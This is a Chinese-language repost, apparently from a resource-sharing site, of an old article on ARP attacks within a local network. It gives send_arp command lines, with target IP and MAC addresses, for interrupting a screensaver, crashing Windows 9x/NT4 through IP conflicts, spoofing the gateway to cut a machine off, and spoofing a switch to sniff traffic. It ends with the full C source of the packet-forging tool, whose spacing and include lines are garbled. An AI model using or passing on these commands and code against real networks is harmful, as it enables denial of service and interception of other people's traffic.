不错的一篇玩转arp的文章

2023-12-05 0 547

以下讨论的机子有 一个要攻击的机子:10.5.4.178 硬件地址:52:54:4C:98:EE:2F 我的机子::10.5.3.69 硬件地址:52:54:4C:98:ED:C5 网关:10.5.0.3 硬件地址:00:90:26:3D:0C:F3 一台交换机另一端口的机子:10.5.3.3 硬件地址:52:54:4C:98:ED:F7 一:用ARP破WINDOWS的屏保 原理:利用IP冲突的级别比屏保高,当有冲突时,就会 跳出屏保。 关键:ARP包的数量适当。 [root@sztcwwtools]#./send_arp10.5.4.17800:90:26:3D:0C:F3 10.5.4.17852:54:4C:98:EE:2F40 二:用ARP导致IP冲突,死机 原理:WINDOWS9X,NT4在处理IP冲突时,处理不过来,导致死机。 注:对WINDOWS2K,LINUX相当于flooding,只是比一般的FLOODING 有效的多.对LINUX,明显系统被拖慢。 [root@sztcwwtools]#./send_arp10.5.4.17800:90:26:3D:0C:F3 10.5.4.17852:54:4C:98:EE:2F999999999 三:用ARP欺骗网关,可导致局域网的某台机子出不了网关。 原理:用ARP应答包去刷新对应着要使之出不去的机子。 [root@sztcwwtools]#./send_arp10.5.4.17852:54:4C:98:EE:22 10.5.4.17800:90:26:3D:0C:F31 注意:如果单单如上的命令,大概只能有效几秒钟,网关机子里的ARP 高速缓存会被被攻击的机子正确刷新,于是只要… 四:用ARP欺骗交换机,可监听到交换机另一端的机子。 可能需要修改一下send_arp.c,构造如下的数据包。 ethhdr srchw:52:54:4C:98:ED:F7—>dsthw:FF:FF:FF:FF:FF:FFproto:806H arphdr hwtype:1protol:800Hhw_size:6pro_size:4op:1 s_ha:52:54:4C:98:ED:F7s_ip:10.5.3.3 d_ha:00:00:00:00:00:00d_ip:10.5.3.3 然后就可以sniffer了。 原理: 交换机是具有记忆MAC地址功能的,它维护一张MAC地址和它的口号表 所以你可以先来个ARP欺骗,然后就可以监听了 不过需要指出,欺骗以后,同一个MAC地址就有两个端口号 yuange说,“这样其实就是一个竞争问题。” 好象ARP以后,对整个网络会有点影响,不过我不敢确定 既然是竞争,所以监听也只能监听一部分,不象同一HUB下的监听。 对被监听者会有影响,因为他掉了一部分数据。 当然还有其他一些应用,需要其他技术的配合。 以下是send_arp.c的源程序 /* ThisprogramsendsoutoneARPpacketwithsource/targetIP andEthernethardwareaddressessuupliedbytheuser.It compilesandworksonLinuxandwillprobablyworkonany UnixthathasSOCK_PACKET.volobuev@t1.chem.umn.edu */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #defineETH_HW_ADDR_LEN6 #defineIP_ADDR_LEN4 #defineARP_FRAME_TYPE0x0806 #defineETHER_HW_TYPE1 #defineIP_PROTO_TYPE0x0800 #defineOP_ARP_REQUEST2 #defineOP_ARP_QUEST1 #defineDEFAULT_DEVICE\”eth0\” charusage[]={\”send_arp:sendsoutcustomARPpacket.yurivolobuev usage:send_arpsrc_ip_addrsrc_hw_addrtarg_ip_addrtar_hw_addrnumber\”}; structarp_packet { u_chartarg_hw_addr[ETH_HW_ADDR_LEN]; u_charsrc_hw_addr[ETH_HW_ADDR_LEN]; u_shortframe_type; u_shorthw_type; u_shortprot_type; u_charhw_addr_size; u_charprot_addr_size; u_shortop; u_charsndr_hw_addr[ETH_HW_ADDR_LEN]; u_charsndr_ip_addr[IP_ADDR_LEN]; u_charrcpt_hw_addr[ETH_HW_ADDR_LEN]; u_charrcpt_ip_addr[IP_ADDR_LEN]; u_charpadding[18]; }; voiddie(char*); voidget_ip_addr(structin_addr*,char*); voidget_hw_addr(char*,char*); intmain(intargc,char*argv[]) { structin_addrsrc_in_addr,targ_in_addr; structarp_packetpkt; structsockaddrsa; intsock; intj,number; if(argc!=6) die(usage); sock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP)); if(sock<0) { perror(\”socket\”); exit(1); } number=atoi(argv[5]); pkt.frame_type=htons(ARP_FRAME_TYPE); pkt.hw_type=htons(ETHER_HW_TYPE); pkt.prot_type=htons(IP_PROTO_TYPE); pkt.hw_addr_size=ETH_HW_ADDR_LEN; pkt.prot_addr_size=IP_ADDR_LEN; pkt.op=htons(OP_ARP_QUEST); get_hw_addr(pkt.targ_hw_addr,argv[4]); get_hw_addr(pkt.rcpt_hw_addr,argv[4]); get_hw_addr(pkt.src_hw_addr,argv[2]); get_hw_addr(pkt.sndr_hw_addr,argv[2]); get_ip_addr(&src_in_addr,argv[1]); get_ip_addr(&targ_in_addr,argv[3]); memcpy(pkt.sndr_ip_addr,&src_in_addr,IP_ADDR_LEN); memcpy(pkt.rcpt_ip_addr,&targ_in_addr,IP_ADDR_LEN); bzero(pkt.padding,18); strcpy(sa.sa_data,DEFAULT_DEVICE); for(j=0;j{ if(sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa))<0) { perror(\”sendto\”); exit(1); } } exit(0); } voiddie(char*str) { fprintf(stderr,\”%s\”,str); exit(1); } voidget_ip_addr(structin_addr*in_addr,char*str) { structhostent*hostp; in_addr->s_addr=inet_addr(str); if(in_addr->s_addr==-1) { if((hostp=gethostbyname(str))) bcopy(hostp->h_addr,in_addr,hostp->h_length); else{ fprintf(stderr,\”send_arp:unknownhost%s\”,str); exit(1); } } } voidget_hw_addr(char*buf,char*str) { inti; charc,val; for(i=0;i<ETH_HW_ADDR_LEN;i++) { if(!(c=tolower(*str++))) die(\”Invalidhardwareaddress\”); if(isdigit(c)) val=c-\’0\’; elseif(c>=\’a\’&&c<=\’f\’) val=c-\’a\’+10; else die(\”Invalidhardwareaddress\”); *buf=val<<4; if(!(c=tolower(*str++))) die(\”Invalidhardwareaddress\”); if(isdigit(c)) val=c-\’0\’; elseif(c>=\’a\’&&c<=\’f\’) val=c-\’a\’+10; else die(\”Invalidhardwareaddress\”); *buf++|=val; if(*str==\’:\’) str++; } }

收藏 (0) 打赏

感谢您的支持,我会继续努力的!

打开微信/支付宝扫一扫,即可进行扫码打赏哦,分享从这里开始,精彩与您同在
点赞 (0)

悠久资源 编程安全 不错的一篇玩转arp的文章 https://www.u-9.cn/biancheng/bcanquan/98076.html

常见问题

相关文章

发表评论
暂无评论
官方客服团队

为您解决烦忧 - 24小时在线 专业服务